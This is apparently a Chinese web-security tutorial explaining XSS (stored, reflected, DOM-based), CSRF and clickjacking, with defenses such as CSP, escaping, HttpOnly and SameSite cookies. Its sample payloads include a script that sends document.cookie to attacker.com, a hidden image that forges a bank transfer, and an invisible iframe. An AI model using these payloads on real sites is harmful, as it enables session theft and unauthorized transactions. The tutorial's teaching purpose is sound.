XSS攻击是一种注入恶意脚本(通常是JavaScript代码)到用户浏览器中的攻击方式。攻击者通过在受信任网站上注入恶意脚本,使用户在浏览器中执行这些脚本。XSS攻击可以分为以下几种类型:
防范XSS的方法包括对输入进行合理的验证和过滤,使用内容安全策略(CSP)来限制允许执行的脚本源,以及在显示用户输入时进行HTML转义等。
存储型 XSS:
<!-- 恶意评论 -->
<script>
// 发送盗取用户信息的请求
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
反射型 XSS:
http://victim-site.com/search?query=<script>alert('XSS')</script>
DOM-based XSS:
htmlCopy code<!-- 搜索框中的输入 -->
<input type="text" id="search" value="恶意代码<script>alert('XSS')</script>">
<!-- 被触发的 DOM-based XSS -->
<script>
var searchTerm = document.getElementById('search').value;
// 在页面中显示用户搜索内容,但未对输入进行转义
document.write('您搜索的内容是: ' + searchTerm);
</script>
HttpOnly
属性来设置 Cookie,防止 JavaScript 通过 document.cookie
读取敏感信息。CSRF攻击是一种通过欺骗用户在受信任的网站上执行非自愿的操作的攻击。攻击者在用户受信任的网站上伪造请求,当用户已经在该网站登录的情况下,这些伪造的请求可能会以用户身份进行执行。CSRF攻击通常通过欺骗用户点击包含恶意请求的链接或图片来实现。
伪造请求:
<!-- 伪造请求的图片链接 -->
<img src="http://bank-site.com/transfer?toAccount=attacker&amount=1000000" width="0" height="0">
点击劫持:
<!-- 恶意网站上的代码 -->
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.001;
}
</style>
<iframe src="http://victim-site.com/transfer?toAccount=attacker&amount=1000000"></iframe>
SameSite
属性,限制第三方网站的 Cookie 使用,减少 CSRF 攻击的可能性。可以设置为 SameSite=Strict
或 SameSite=Lax
。